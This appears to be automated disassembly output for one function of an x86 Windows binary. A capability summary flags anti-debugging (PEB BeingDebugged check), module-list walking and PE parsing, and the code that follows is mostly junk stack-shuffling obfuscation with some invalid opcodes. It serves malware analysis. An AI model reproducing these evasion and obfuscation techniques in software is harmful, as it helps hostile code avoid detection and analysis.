Function at 0x7ad6cb
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get number of processors
Parse pe header

Disassembly:
pop ss
mov esi, 0xdd5a054d
adc ebp, ebx
out dx, al
mov dl, 0x9b
bound esp, qword [eax]
cmp al, 0x11
and al, 0xc1
imul eax, dword [esi], 0x5c
insb byte es:[edi], dx
invalid
loope 0x7a4e1d
jle 0x7a4d30
pop esi
mov esi, 0x6effa7be
retf
insb byte es:[edi], dx
inc ebp
cmp byte [ebp + 0x656408cf], bh
lahf
mov cl, 0xbf
fadd qword [ebp - 0x77]
cmp byte [ecx], al
les esi, [eax]
mov cl, bl
sbb bh, 0xb5
inc ebp
mov dword [eax], edi
add esp, eax
xor byte [eax - 0x4a207d27], cl
loop 0x7a4e11
rcl dword [esi - 0x40aa17ba]
pop ss
int1
sbb al, 0xc
mov eax, eax
mov dword [esp], edi
pop ebp
das
scasd eax, dword es:[edi]
dec ebx
mov ecx, ecx
fmul dword [0xb4fadf4a]
imul ecx, dword [ecx - 0x5c], 0x7f7206f6
cli
invalid
pop word [esp + 0x15]
mov dword [esp + 0x20], esp
push esi
push eax
pop word [esp + 0x26]
jmp 0x7a8963
push word [esp + 4]
mov dword [esp + 1], esp
lea esp, [esp + 5]
sub esp, 0x18
sub esp, 0x10
mov dword [esp + 0x1e], esp
add esp, 0x11
push dword [esp + 0xd]
sub esp, 0xa
pop word [esp + 2]
stc
jmp 0x7a6b7c
sub esp, 0x19
mov dword [esp + 4], edx
add esp, 7
push cx
push ecx
stc
add esp, 0x21
cld
mov word [esp + 3], si
clc
sub esp, 0xd
lea esp, [esp + 0x10]
lea esp, [esp + 4]
mov dword [esp], edi
push esi
cld
mov dword [esp + 1], esp
push dword [esp + 9]
add esp, 0xd
mov byte [esp], al
add esp, 0
cmc
push word [esp]
push si
push word [esp + 3]
jmp 0x7a6b9b
stc
pop word [esp + 6]
push dword [esp + 0x1f]
sub esp, 9
stc
mov byte [esp + 0x16], bl
add esp, 0xa
push word [esp + 0x21]
add esp, 0x1c
push dword [esp + 3]
mov word [esp + 5], ax
stc
lea esp, [esp + 2]
mov byte [esp + 4], bl
push word [esp + 3]
sub esp, 0x14
sub esp, 0x19
pop dword [esp + 0x10]
push dword [esp + 0x1a]
push dword [esp + 0x13]
push ax
push dword [esp + 0x19]
pop dword [esp + 0x23]
cld
mov dword [esp + 0x26], eax
add esp, 0x38
push dword [esp + 1]
mov dword [esp + 8], ecx
push si
mov word [esp + 5], bx
sub esp, 1
cld
add esp, 0
pop word [esp + 3]
mov word [esp + 8], si
pushfd
pushal
mov dword [esp + 0x24], edx
lea esp, [esp + 0xb]
pop word [esp + 0x1f]
cld
push dword [esp + 0x21]
add esp, 2
sub esp, 0xe
pop dword [esp + 0x17]
clc
cld
push word [esp + 0x29]
sub esp, 2
lea esp, [esp + 0x1d]
pop word [esp + 4]
sub esp, 3
lea esp, [esp + 0xf]
lea esp, [esp + 5]
push ecx
cld
mov byte [esp + 3], ah
pop dword [esp]
add esp, 3
mov byte [esp], cl
mov word [esp], cx
cld
cld
mov word [esp], dx
push word [esp]
push dword [esp + 1]
lea esp, [esp]
pop word [esp + 1]
pushal
lea esp, [esp + 0x1a]
pushfd
push dword [esp + 4]
add esp, 0x13
mov byte [esp], bl
sub esp, 7
push word [esp + 6]
pop word [esp + 3]
stc
cld
cmc
sub esp, 0x1d
push dword [esp + 0x22]
lea esp, [esp + 0x25]
mov word [esp], bx
mov byte [esp], bl
lea esp, [esp + 2]
push word [esp]
pop word [esp]
sub esp, 0x1c
push word [esp + 0xc]
mov word [esp + 0x19], dx
mov word [esp + 0xc], bp
sub esp, 0x1d
lea esp, [esp + 0x3a]
mov word [esp], sp
add esp, 1
push ax
mov dword [esp], esi
cld
mov word [esp + 1], sp
push dword [esp + 3]
push word [esp + 2]
push dword [esp + 3]
stc
sub esp, 3
stc
pop word [esp + 1]
clc
push word [esp]
lea esp, [esp + 0xe]
mov byte [esp + 1], bh
lea esp, [esp]
cmc
add esp, 0
sub esp, 0x15
stc
pop dword [esp]
lea esp, [esp + 0xa]
pop dword [esp]
pushfd
pop dword [esp]
push word [esp]
sub esp, 0x1d
pop dword [esp + 0xb]
mov byte [esp + 0x1d], ah
push dword [esp + 5]
add esp, 0x1b
lea esp, [esp]
mov byte [esp + 4], cl
add esp, 2
lea esp, [esp + 1]
push dword [esp + 1]
pushfd
lea esp, [esp + 0xb]
push dword [esp + 3]
add esp, 6
mov word [esp], cx
mov byte [esp], ch
lea esp, [esp]
mov byte [esp], cl
sub esp, 0x15
lea esp, [esp + 0xa]
pop word [esp + 4]
pop dword [esp]
add esp, 0
mov byte [esp + 4], ah
sub esp, 5
mov byte [esp + 7], dl
clc
mov byte [esp + 2], dl
mov dword [esp], ebp
sub esp, 9
add esp, 0xc
add esp, 4
sub esp, 0x12
jmp 0x7a6bcf
inc dword [eax + 0x75cff5]
pushfd
sub esp, 4
add esp, 1
mov word [esp], bp
clc
clc
pushal
push word [esp + 1]
cmc
pop dword [esp + 0x1a]
stc
push esp
pushal
add esp, 0x43
mov byte [esp], bl
mov word [esp], di
push word [esp + 1]
mov dword [esp], esi
mov word [esp + 1], cx
sub esp, 1
cmc
add esp, 1
mov word [esp + 1], sp
pushal
lea esp, [esp + 0xe]
mov dword [esp + 0xe], edx
mov word [esp + 0x11], bp
sub esp, 0x1f
sub esp, 4
pop dword [esp + 0x1f]
lea esp, [esp + 0x12]
push dword [esp + 4]
lea esp, [esp + 6]
push dword [esp + 0xe]
mov word [esp + 0x11], bx
pop word [esp + 0x1d]
sub esp, 0x1d
pop word [esp + 3]
sub esp, 3
mov byte [esp + 0x34], al
mov word [esp + 0x1f], si
mov word [esp + 3], dx
push dword [esp + 0x19]
mov dword [esp + 0x38], edi
mov dword [esp + 0x29], eax
mov byte [esp + 5], dh
pop dword [esp + 0x3b]
clc
lea esp, [esp + 0x3f]
push word [esp]
push edi
sub esp, 7
cmc
lea esp, [esp + 0xa]
cmc
mov dword [esp], ebx
stc
mov dword [esp], ecx
stc
push word [esp + 2]
add esp, 6
cld
add esp, 0
push cx
mov word [esp], ax
add esp, 1
lea esp, [esp + 1]
lea esp, [esp]
pushal
pushfd
push word [esp + 0x13]
sub esp, 0x1e
mov byte [esp + 0x21], bl
push dword [esp + 0x13]
mov byte [esp + 0x30], bh
cld
push dword [esp + 0x1b]
push dword [esp + 0xe]
lea esp, [esp + 0x51]
cmc
pushal
sub esp, 0x17
pop word [esp + 0x2c]
pushfd
push dword [esp + 0x33]
pop dword [esp + 2]
mov byte [esp + 2], bh
push word [esp + 0x17]
mov byte [esp + 7], bl
push dword [esp + 0x10]
push dword [esp + 5]
push dword [esp + 0x1d]
pushal
lea esp, [esp + 0x67]
sub esp, 5
lea esp, [esp]
add esp, 4
lea esp, [esp]
lea esp, [esp]
sub esp, 7
push dword [esp]
push di
push dword [esp + 1]
sub esp, 0x14
mov dword [esp + 4], ebp
lea esp, [esp + 6]
push word [esp + 6]
push dword [esp + 0x10]
lea esp, [esp + 7]
mov dword [esp + 0xc], esi
mov word [esp + 0x13], di
mov byte [esp + 0x13], al
lea esp, [esp + 0xc]
pop word [esp + 3]
push dword [esp]
mov dword [esp + 0xc], ecx
mov byte [esp + 0x10], ch
cld
add esp, 0xb
pop dword [esp]
lea esp, [esp + 4]
cld
add esp, 1
add esp, 0
cmc
mov byte [esp], ch
pushal
add esp, 8
mov byte [esp + 0x17], cl
add esp, 0x18
add esp, 0
sub esp, 0x12
sub esp, 0xa
pop word [esp + 5]
push dword [esp + 0x10]
clc
lea esp, [esp + 0xa]
mov dword [esp + 0xd], eax
mov dword [esp + 3], edi
add esp, 0xa
add esp, 7
cmc
stc
cmc
sub esp, 0xb
sub esp, 0x1e
stc
mov word [esp + 0x12], bp
lea esp, [esp + 0x26]
add esp, 2
add esp, 0
push word [esp + 2]
add esp, 0
stc
pushfd
clc
mov byte [esp + 8], ch
mov word [esp + 1], sp
push word [esp]
mov word [esp + 4], bx
push word [esp + 0xc]
pop word [esp + 7]
pop word [esp + 3]
push ebx
mov word [esp + 7], ax
cmc
pop word [esp + 4]
mov word [esp + 8], dx
lea esp, [esp + 9]
pop word [esp]
add esp, 1
mov byte [esp], dh
lea esp, [esp]
clc
sub esp, 0xf
push dword [esp + 0xc]
lea esp, [esp + 0xe]
push si
pop word [esp]
push sp
mov word [esp], si
stc
add esp, 0
push word [esp + 3]
push word [esp + 1]
pop word [esp + 2]
sub esp, 8
stc
pop word [esp + 8]
pop word [esp + 6]
lea esp, [esp + 5]
mov dword [esp + 4], ecx
clc
mov dword [esp + 3], edi
add esp, 4
sub esp, 0x1a
pushfd
stc
mov dword [esp], esi
sub esp, 6
push word [esp + 7]
sub esp, 0xa
cmc
push edx
sub esp, 0x19
lea esp, [esp + 0x52]
sub esp, 0xb
mov dword [esp], ebx
mov dword [esp + 2], esi
add esp, 4
mov word [esp + 4], si
lea esp, [esp + 4]
lea esp, [esp + 2]
sub esp, 0xe
mov byte [esp + 3], cl
lea esp, [esp + 0xc]
stc
push word [esp + 2]
mov word [esp], ax
push dword [esp]
push bx
lea esp, [esp + 1]
push dx
mov byte [esp + 1], ah
stc
push dword [esp + 1]
add esp, 9
pushal
push ebp
pop word [esp]
lea esp, [esp + 0x28]
lea esp, [esp]
add esp, 0
sub esp, 0x1a
pushal
pop dword [esp + 0x24]
cld
pop word [esp + 0x17]
lea esp, [esp + 7]
pop dword [esp + 0xf]
sub esp, 6
lea esp, [esp + 0x19]
mov word [esp + 0x14], bp
push dword [esp + 5]
mov byte [esp + 0x15], ch
lea esp, [esp + 0xf]
push dword [esp + 3]
mov word [esp + 0xa], bx
mov dword [esp + 6], ebp
lea esp, [esp]
mov word [esp + 0xa], di
mov dword [esp + 7], ecx
add esp, 9
push dword [esp + 6]
pop word [esp + 5]
mov word [esp + 1], cx
mov word [esp], ax
mov dword [esp + 1], ecx
mov word [esp + 3], ax
mov byte [esp + 7], cl
push dword [esp + 5]
lea esp, [esp + 5]
pop word [esp + 1]
pop word [esp]
add esp, 3
mov byte [esp], bl
push cx
mov byte [esp + 1], bh
mov byte [esp], dh
mov word [esp], bx
lea esp, [esp + 2]
clc
sub esp, 0x1b
mov dword [esp + 0xb], edx
lea esp, [esp + 0x12]
push dword [esp + 7]
mov byte [esp + 0xa], ch
add esp, 0
mov dword [esp + 6], ebp
pushal
mov byte [esp + 8], dh
lea esp, [esp + 0x1b]
mov byte [esp + 0xa], dl
mov byte [esp + 5], dh
lea esp, [esp + 3]
push word [esp + 5]
push dword [esp + 5]
cld
push word [esp + 2]
cld
push word [esp + 0xf]
push dx
push dword [esp + 0x16]
clc
push word [esp + 0xb]
pop dword [esp + 0x16]
push word [esp + 0xe]
push eax
pop word [esp + 0xe]
pop word [esp + 0x18]
add esp, 0x10
cld
push dword [esp + 0xc]
pop word [esp + 0xc]
push dword [esp + 0xd]
mov dword [esp + 1], edi
pushfd
push word [esp + 0x19]
pop dword [esp + 0xe]
mov word [esp + 7], sp
push bx
mov word [esp + 0x12], bx
push dword [esp + 0xd]
lea esp, [esp + 3]
push dword [esp + 2]
push word [esp + 0xc]
push dword [esp + 8]
sub esp, 0xf
mov dword [esp + 3], ebp
push word [esp + 4]
pop dword [esp + 0x1c]
mov byte [esp + 0x30], ah
pop word [esp + 8]
stc
stc
push word [esp + 0xc]
sub esp, 3
push ecx
push dword [esp + 0x1e]
lea esp, [esp + 0xf]
pop dword [esp + 0xa]
push dword [esp + 0x1b]
push dword [esp + 0x1b]
add esp, 0x1f
pop word [esp + 7]
pop dword [esp + 2]
pop word [esp + 7]
add esp, 2
stc
pop word [esp + 3]
cmc
push dword [esp + 1]
push edx
mov byte [esp + 5], cl
push word [esp + 2]
add esp, 3
push dword [esp + 0xb]
push word [esp + 3]
mov word [esp + 5], cx
mov word [esp + 0xf], di
stc
add esp, 7
lea esp, [esp + 4]
sub esp, 0x18
mov dword [esp + 9], ecx
lea esp, [esp + 0x19]
mov word [esp], si
mov dword [esp], edi
mov word [esp + 3], bp
stc
push word [esp]
push word [esp + 3]
add esp, 0xa
push bp
push word [esp + 3]
add esp, 3
mov byte [esp + 1], ch
push word [esp]
push dword [esp + 2]
mov byte [esp + 4], ch
mov byte [esp], cl
mov byte [esp + 7], bh
sub esp, 0x14
mov word [esp + 0xf], sp
lea esp, [esp + 0x18]
cmc
mov byte [esp + 2], dh
pop word [esp]
pushfd
add esp, 4
push sp
mov dword [esp], ebp
mov dword [esp], edi
mov dword [esp], esp
mov word [esp + 2], si
push word [esp + 3]
push word [esp + 2]
mov dword [esp + 4], edi
sub esp, 9
add esp, 5
pop word [esp + 3]
add esp, 0
lea esp, [esp + 7]
mov byte [esp + 2], ch
sub esp, 3
add esp, 6
cmc
mov byte [esp], cl
cld
sub esp, 0xb
push word [esp + 1]
pop dword [esp + 4]
push dword [esp + 2]
push esi
push word [esp + 0xe]
push word [esp + 0xb]
push word [esp + 8]
mov byte [esp + 0xd], ah
lea esp, [esp + 0x15]
pushal
push word [esp + 8]
mov dword [esp + 0x1d], ebp
pop dword [esp + 7]
lea esp, [esp + 4]
pop dword [esp + 0xf]
clc
mov dword [esp + 0xa], edx
add esp, 0xc
mov byte [esp + 7], bh
sub esp, 2
mov byte [esp + 1], bh
sub esp, 0x1e
pop dword [esp + 0xc]
mov dword [esp + 0x20], ecx
pushfd
pop dword [esp + 0x17]
mov word [esp + 0x19], cx
add esp, 0x28
cmc
sub esp, 0x13
push word [esp + 3]
sub esp, 0x1e
lea esp, [esp + 5]
push dword [esp + 0x1a]
lea esp, [esp + 0x10]
pushal
push si
add esp, 0x22
push word [esp + 0x11]
mov word [esp + 4], ax
push dword [esp + 0x21]
pop dword [esp + 0x1a]
push edi
mov byte [esp + 0x14], bl
mov word [esp + 0x26], bp
mov byte [esp + 4], dh
lea esp, [esp + 0xa]
sub esp, 0x1e
push word [esp + 0x1a]
pop word [esp + 0x18]
add esp, 0x15
pop word [esp + 5]
pop word [esp + 0x1e]
clc
add esp, 0xa
lea esp, [esp + 0xf]
pop word [esp + 4]
mov word [esp + 4], sp
lea esp, [esp + 2]
mov byte [esp + 3], dh
mov byte [esp + 3], bh
pop word [esp + 2]
pop word [esp]
push ecx
add esp, 2
mov byte [esp + 3], bh
stc
pop word [esp]
push word [esp + 1]
mov byte [esp + 3], ah
pop word [esp]
push word [esp + 2]
mov dword [esp], ecx
push dx
push eax
cmc
add esp, 3
mov dword [esp + 1], edi
push word [esp]
push word [esp + 1]
pop word [esp + 6]
push dword [esp + 6]
lea esp, [esp + 7]
pushfd
push word [esp + 3]
push word [esp + 7]
cmc
mov dword [esp + 8], esi
pop word [esp + 6]
sub esp, 0x1a
cld
mov byte [esp + 8], ah
pushfd
pop dword [esp]
lea esp, [esp + 2]
pop dword [esp + 0x1a]
pop dword [esp + 0x12]
lea esp, [esp + 7]
mov dword [esp + 9], ebx
push dword [esp + 8]
cmc
sub esp, 0x12
lea esp, [esp + 0x25]
push dword [esp + 4]
pop word [esp + 4]
push dword [esp + 6]
pop word [esp + 1]
mov byte [esp], al
mov byte [esp + 7], bh
pop dword [esp]
push dword [esp + 2]
lea esp, [esp + 1]
lea esp, [esp + 9]
cld
lea esp, [esp]
push edx
mov dword [esp], eax
add esp, 2
lea esp, [esp + 1]
cld
lea esp, [esp]
add esp, 0
push word [esp]
mov word [esp], sp
lea esp, [esp + 1]
mov word [esp], cx
clc
push word [esp]
sub esp, 0x12
mov word [esp + 5], bp
cmc
lea esp, [esp + 0x16]
lea esp, [esp]
cmc
clc
mov byte [esp], ah
lea esp, [esp]
mov byte [esp], bl
mov byte [esp], ah
mov byte [esp], dl
lea esp, [esp]
push di
mov word [esp], si
push word [esp + 2]
sub esp, 0x17
add esp, 0xd
mov byte [esp + 0xb], bh
pop dword [esp + 6]
lea esp, [esp + 5]
mov byte [esp], ah
lea esp, [esp + 5]
push bp
cld
pushal
lea esp, [esp + 0x1b]
add esp, 1
mov dword [esp], eax
mov byte [esp + 5], dl
stc
mov dword [esp], eax
push dword [esp + 1]
sub esp, 0xd
pop dword [esp + 8]
lea esp, [esp + 9]
push word [esp + 5]
push edx
push bp
lea esp, [esp + 2]
push esi
push word [esp + 0xa]
mov word [esp + 9], sp
clc
mov byte [esp + 3], ch
stc
mov dword [esp + 0xf], edx
mov dword [esp + 0xb], ebp
sub esp, 0x1e
mov dword [esp + 0x17], ebx
pop dword [esp + 8]
cmc
cmc
push sp
clc
lea esp, [esp + 0x29]
mov word [esp + 6], ax
mov dword [esp], edi
pop dword [esp]
cld
sub esp, 0x12
mov dword [esp + 0x11], ebp
pop word [esp + 4]
push esi
mov word [esp + 4], di
mov byte [esp + 9], ah
stc
cmc
push word [esp + 0xc]
lea esp, [esp + 0xd]
push word [esp + 0xb]
cld
mov word [esp + 3], dx
add esp, 0x10
lea esp, [esp]
cld
lea esp, [esp]
stc
sub esp, 6
sub esp, 0xc
push ecx
pop dword [esp + 0xa]
mov dword [esp + 0xd], edi
mov dword [esp + 5], ebp
pop dword [esp + 6]
push edi
pop word [esp + 8]
clc
push word [esp + 8]
clc
stc
lea esp, [esp + 0x12]
add esp, 0
stc
sub esp, 0xb
push si
mov byte [esp + 3], dl
pop word [esp + 7]
add esp, 8
mov byte [esp + 1], bl
mov byte [esp + 1], ah
mov dword [esp], edx
pushfd
push word [esp + 7]
add esp, 4
pushal
clc
sub esp, 0xe
add esp, 0x18
mov dword [esp + 8], ebx
sub esp, 3
push word [esp + 0x1b]
pop word [esp + 0x11]
pushal
mov word [esp + 0x24], di
cld
pushal
lea esp, [esp + 0x5f]
clc
push bx
mov byte [esp], ah
mov word [esp], cx
stc
push word [esp + 1]
pushal
add esp, 0x11
push word [esp + 6]
mov word [esp + 0xb], bx
push word [esp + 0xf]
mov byte [esp + 2], ah
stc
push dword [esp + 1]
push dword [esp + 9]
pop dword [esp + 6]
cld
mov dword [esp + 1], ebx
sub esp, 0x15
sub esp, 2
mov byte [esp + 0x12], al
lea esp, [esp + 6]
stc
mov byte [esp + 0x13], dh
push dword [esp + 0x23]
clc
push bx
mov dword [esp + 0x2a], edx
mov word [esp + 4], ax
mov word [esp + 0xe], si
push dword [esp + 0x2c]
sub esp, 0
cld
cld
mov byte [esp + 0xa], ch
lea esp, [esp + 0x35]
clc
lea esp, [esp]
pushfd
sub esp, 0x1e
clc
mov byte [esp + 3], cl
cld
pop dword [esp + 0x12]
push dx
cld
push word [esp + 3]
mov word [esp + 8], si
push dword [esp + 0x20]
stc
pop dword [esp + 0x10]
mov byte [esp + 0x10], ah
sub esp, 5
mov byte [esp + 0xb], bl
push dword [esp + 0xf]
push dword [esp + 0x1b]
mov byte [esp + 0xf], dh
pop word [esp + 0x1b]
lea esp, [esp]
push word [esp + 0x26]
pop word [esp + 0x15]
stc
mov dword [esp + 0x1e], ebp
mov byte [esp + 0x2c], cl
stc
pushal
mov word [esp + 0x13], dx
lea esp, [esp + 0x15]
pop dword [esp + 4]
pop word [esp + 0x18]
pop word [esp + 0x1c]
mov word [esp + 4], sp
push dword [esp + 0x13]
sub esp, 0x18
mov dword [esp + 0x3b], ecx
push word [esp + 0x12]
mov byte [esp + 0x1e], dh
lea esp, [esp + 0x47]
add esp, 2
push dword [esp + 5]
pop word [esp + 3]
sub esp, 0x13
sub esp, 0xf
push word [esp + 0x26]
sub esp, 9
add esp, 2
push esi
pop word [esp + 0x1c]
stc
push dword [esp + 0x2e]
lea esp, [esp + 0xa]
mov byte [esp + 1], cl
mov dword [esp + 0x19], edi
lea esp, [esp + 0x24]
mov word [esp + 4], sp
mov dword [esp + 3], ebp
push dword [esp + 3]
lea esp, [esp + 4]
add esp, 0
lea esp, [esp + 0xa]
push esi
sub esp, 0x1d
lea esp, [esp + 0x20]
push word [esp]
mov word [esp + 1], bx
pushfd
pushal
push di
clc
cmc
lea esp, [esp + 9]
mov byte [esp + 3], cl
push bp
mov dword [esp + 0x12], edi
mov dword [esp + 0x1d], ecx
mov word [esp + 0x1d], sp
mov byte [esp + 0x10], dl
cmc
add esp, 0x19
sub esp, 0x18
mov byte [esp + 0x1a], dh
push word [esp + 0x12]
stc
push dword [esp + 0x15]
pop word [esp + 0x1c]
add esp, 8
pop dword [esp + 0x13]
lea esp, [esp + 0x18]
pushfd
mov word [esp], ax
sub esp, 0x18
sub esp, 0x1d
mov dword [esp + 0x15], esi
cld
push word [esp + 0x25]
push di
mov byte [esp + 0xd], dh
mov byte [esp + 0x1c], cl
push word [esp + 0x24]
pop word [esp + 0x28]
sub esp, 0x15
lea esp, [esp + 0x54]
cld
sub esp, 0x17
sub esp, 0x18
cmc
mov byte [esp + 0x19], dh
push dword [esp + 4]
lea esp, [esp + 2]
push word [esp + 0x30]
add esp, 0
push dword [esp + 0x22]
mov word [esp + 6], ax
push ecx
mov dword [esp + 0x2f], ecx
push word [esp + 0x23]
stc
mov dword [esp + 7], ebx
pop dword [esp + 0x24]
pop word [esp + 0xe]
clc
pop dword [esp + 0x15]
mov word [esp + 0x2a], di
lea esp, [esp + 0x31]
lea esp, [esp]
mov word [esp], sp
sub esp, 0xa
add esp, 3
push dword [esp + 7]
cmc
mov byte [esp + 6], ah
pop word [esp + 7]
cld
sub esp, 0x1b
mov dword [esp + 3], edx
lea esp, [esp + 0x10]
mov word [esp + 1], dx
push word [esp + 7]
mov word [esp + 0xe], di
pop dword [esp + 0xd]
add esp, 6
mov word [esp + 5], ax
mov word [esp + 0xa], di
lea esp, [esp + 9]
mov word [esp + 2], bp
pop word [esp]
lea esp, [esp + 1]
add esp, 1
add esp, 0
sub esp, 0x18
pop word [esp + 0xe]
pop word [esp + 0x10]
sub esp, 0x14
lea esp, [esp + 0x16]
stc
stc
mov dword [esp + 0xa], edx
pop dword [esp + 8]
mov dword [esp + 9], ebx
push word [esp + 1]
cld
mov word [esp + 7], sp
lea esp, [esp + 4]
mov byte [esp], ah
lea esp, [esp]
cld
mov word [esp + 1], bp
push dword [esp + 1]
push dword [esp + 0xe]
mov byte [esp + 0xd], cl
pushfd
pop word [esp + 0x10]
lea esp, [esp + 9]
sub esp, 0xf
push word [esp + 5]
push word [esp + 0x14]
mov word [esp + 0xe], sp
push word [esp + 1]
mov byte [esp + 0x1e], bh
clc
push dword [esp + 8]
sub esp, 3
sub esp, 0x10
add esp, 0x37
sub esp, 0xd
mov dword [esp + 8], esi
pop dword [esp + 3]
pop word [esp + 7]
add esp, 1
pop word [esp + 3]
push edi
mov byte [esp + 3], cl
pop word [esp]
sub esp, 0x12
push dword [esp + 0x18]
pop word [esp + 0xd]
mov word [esp + 9], cx
mov word [esp + 0x14], dx
sub esp, 0x1b
pop dword [esp + 0x1c]
lea esp, [esp + 0x18]
mov byte [esp], cl
pop dword [esp + 9]
pushfd
lea esp, [esp + 0x11]
pop word [esp + 5]
add esp, 4
cmc
stc
pop word [esp]
push word [esp + 2]
mov byte [esp], dl
pushal
pop word [esp + 0x11]
add esp, 0x21
cmc
push word [esp + 1]
mov dword [esp], esi
mov byte [esp + 1], ch
push word [esp + 1]
pop word [esp]
pushal
mov byte [esp + 0xe], dh
pop word [esp + 0x1e]
push ebp
push dword [esp + 6]
cld
stc
push word [esp]
mov dword [esp + 0x13], eax
push ecx
mov byte [esp + 8], al
mov byte [esp + 3], al
sub esp, 0x15
mov word [esp + 0x30], sp
mov byte [esp + 0x42], dh
push dword [esp + 0x2b]
mov dword [esp + 0x29], edi
sub esp, 0x1d
lea esp, [esp + 0x66]
sub esp, 4
mov dword [esp], ebx
lea esp, [esp + 2]
clc
clc
push word [esp]
lea esp, [esp]
clc
push esp
mov word [esp + 4], cx
mov word [esp + 4], di
push dword [esp + 5]
sub esp, 0x1b
mov dword [esp + 9], ebx
push bp
mov word [esp + 0x16], sp
mov dword [esp + 6], edx
sub esp, 0x1d
push word [esp + 0xc]
add esp, 0x29
mov byte [esp + 0x1b], bh
clc
clc
clc
push word [esp + 0xb]
pop word [esp + 0x18]
sub esp, 6
mov word [esp + 3], si
add esp, 0x1e
mov dword [esp], ebp
push dword [esp + 3]
push dword [esp + 2]
push dword [esp + 3]
lea esp, [esp + 0xf]
push word [esp + 1]
push word [esp + 3]
push dword [esp]
lea esp, [esp + 1]
lea esp, [esp + 4]
lea esp, [esp + 5]
mov byte [esp], dh
stc
sub esp, 0x15
push edx
push dword [esp + 0x14]
mov dword [esp + 0x19], esp
add esp, 0x1e
sub esp, 0x15
lea esp, [esp + 0xe]
pushal
push dword [esp + 0xd]
add esp, 0x24
pop dword [esp]
pop word [esp]
mov word [esp], bx
pushal
pushfd
sub esp, 0xb
mov byte [esp + 1], dl
clc
push ax
push word [esp + 0x12]
mov byte [esp + 0x31], dh
mov dword [esp + 0xb], esi
pop dword [esp + 8]
add esp, 0xd
pop dword [esp + 7]
stc
push word [esp + 0xa]
push cx
push word [esp + 0x1a]
pop dword [esp + 0x1a]
lea esp, [esp + 0x11]
pop dword [esp + 2]
stc
mov word [esp + 2], sp
lea esp, [esp + 4]
lea esp, [esp + 3]
lea esp, [esp + 5]
mov byte [esp], bl
add esp, 0
sub esp, 0x1b
sub esp, 0xe
pop word [esp + 0x25]
mov dword [esp + 0x19], eax
pop word [esp + 0x1e]
push word [esp + 0x15]
pop word [esp + 0xa]
sub esp, 0x11
lea esp, [esp + 2]
add esp, 0xe
add esp, 0xe
pop word [esp + 0xc]
add esp, 9
push dword [esp + 5]
cld
mov byte [esp + 9], bh
sub esp, 0xf
push ax
pop word [esp + 7]
mov byte [esp + 0x13], dh
add esp, 0x12
lea esp, [esp + 0xa]
mov word [esp + 2], sp
mov dword [esp], edi
mov byte [esp + 2], bh
stc
lea esp, [esp + 2]
mov byte [esp + 1], ah
push word [esp]
clc
stc
push word [esp + 3]
cld
stc
pop word [esp + 1]
add esp, 1
pop word [esp]
cld
mov word [esp], sp
add esp, 1
mov byte [esp], bl
add esp, 0
sub esp, 0x1d
mov word [esp + 3], ax
push word [esp + 0x1b]
sub esp, 0x12
mov byte [esp + 0x28], ah
cmc
pop dword [esp + 0xe]
mov word [esp + 0x21], bp
cld
push dword [esp + 0x2b]
lea esp, [esp + 0x13]
cld
add esp, 0x1c
mov word [esp], dx
clc
pushal
lea esp, [esp + 5]
push dword [esp + 0x10]
mov dword [esp + 0x11], edx
add esp, 0x19
mov word [esp + 1], bp
add esp, 2
sub esp, 0xd
push word [esp + 0xa]
pushal
mov word [esp + 6], ax
pushfd
add esp, 4
pop dword [esp + 0x1a]
sub esp, 0xb
sub esp, 0x16
lea esp, [esp + 0x53]
sub esp, 0x1c
pop word [esp + 0x11]
mov word [esp + 0x13], bp
mov byte [esp], bh
push di
lea esp, [esp + 0xe]
pop dword [esp]
lea esp, [esp + 1]
clc
add esp, 7
sub esp, 0x1b
mov word [esp + 2], bp
lea esp, [esp + 0x11]
push word [esp + 8]
lea esp, [esp + 9]
push word [esp + 1]
mov dword [esp], eax
push dword [esp + 1]
sub esp, 0x14
push dword [esp]
mov byte [esp + 0x19], dh
mov dword [esp + 2], ebx
mov byte [esp + 0x21], dl
pushfd
pop word [esp + 0xe]
add esp, 1
mov byte [esp + 0x12], cl
stc
add esp, 0xe
push sp
mov byte [esp + 2], ah
cld
cld
push dword [esp + 0xf]
sub esp, 7
mov byte [esp + 0x1c], bh
mov dword [esp + 0xd], ebp
mov dword [esp + 0xb], esi
cmc
cld
jmp 0x7a6c25
push eax
jmp 0x7a90dd
pop word [esp + 0xa]
mov dword [esp + 5], ebx
sub esp, 8
cld
pop word [esp + 4]
add esp, 0xc
mov dword [esp + 2], ebp
mov byte [esp + 9], dl
sub esp, 0x1c
jmp 0x7ac87e
push di
lea esp, [esp + 1]
mov word [esp], si
mov byte [esp + 1], bl
push word [esp]
push word [esp + 3]
cld
sub esp, 0xa
push bx
pop dword [esp]
mov byte [esp + 9], dl
stc
push dword [esp + 2]
jmp 0x7a7ce0
mov byte [esp + 4], bl
mov dword [esp], esi
mov word [esp + 3], di
mov word [esp], ax
mov byte [esp + 4], bh
pop word [esp + 1]
pushal
cld
mov byte [esp + 0x1d], dh
lea esp, [esp + 0x19]
mov dword [esp + 4], esi
sub esp, 0xa
push dx
mov byte [esp + 0xd], ch
mov byte [esp], ch
mov byte [esp + 1], bh
push word [esp + 0x13]
mov word [esp + 3], dx
lea esp, [esp + 0x17]
lea esp, [esp]
sub esp, 0x15
push dword [esp + 4]
pop word [esp + 0xa]
mov byte [esp + 1], bh
pop word [esp + 1]
lea esp, [esp + 0x10]
cmc
pushal
lea esp, [esp + 0x13]
cld
sub esp, 0xf
add esp, 0x1d
add esp, 0
push word [esp + 4]
mov dword [esp], ebp
add esp, 4
mov byte [esp + 1], dl
cmc
clc
pop word [esp]
add esp, 1
pushal
mov byte [esp + 0xc], dl
mov byte [esp + 0x13], al
lea esp, [esp + 1]
pop word [esp + 0x1b]
push word [esp + 0x17]
pushal
push ebp
mov byte [esp + 0x25], dl
push dword [esp + 8]
mov byte [esp + 0x12], bh
push edi
mov word [esp + 8], ax
push dword [esp + 0xe]
pop word [esp + 0x3f]
mov word [esp + 0xa], si
push word [esp + 0x30]
push word [esp + 0x3d]
lea esp, [esp + 0x52]
sub esp, 1
add esp, 0
add esp, 0
push edx
push dword [esp + 1]
sub esp, 0x1f
add esp, 5
stc
mov dword [esp + 4], eax
push dword [esp + 7]
push word [esp + 0x1e]
pop word [esp + 0x1d]
pushal
push word [esp + 0x43]
pop word [esp + 3]
mov byte [esp + 0x42], dh
clc
pop word [esp + 0x12]
mov dword [esp + 0x10], ebp
pop dword [esp + 9]
sub esp, 0xd
mov dword [esp + 0x31], edx
pushal
lea esp, [esp + 0x6e]
push dx
cld
jmp 0x7a7d0f
mov dword [esp + 0x2e], eax
sub esp, 2
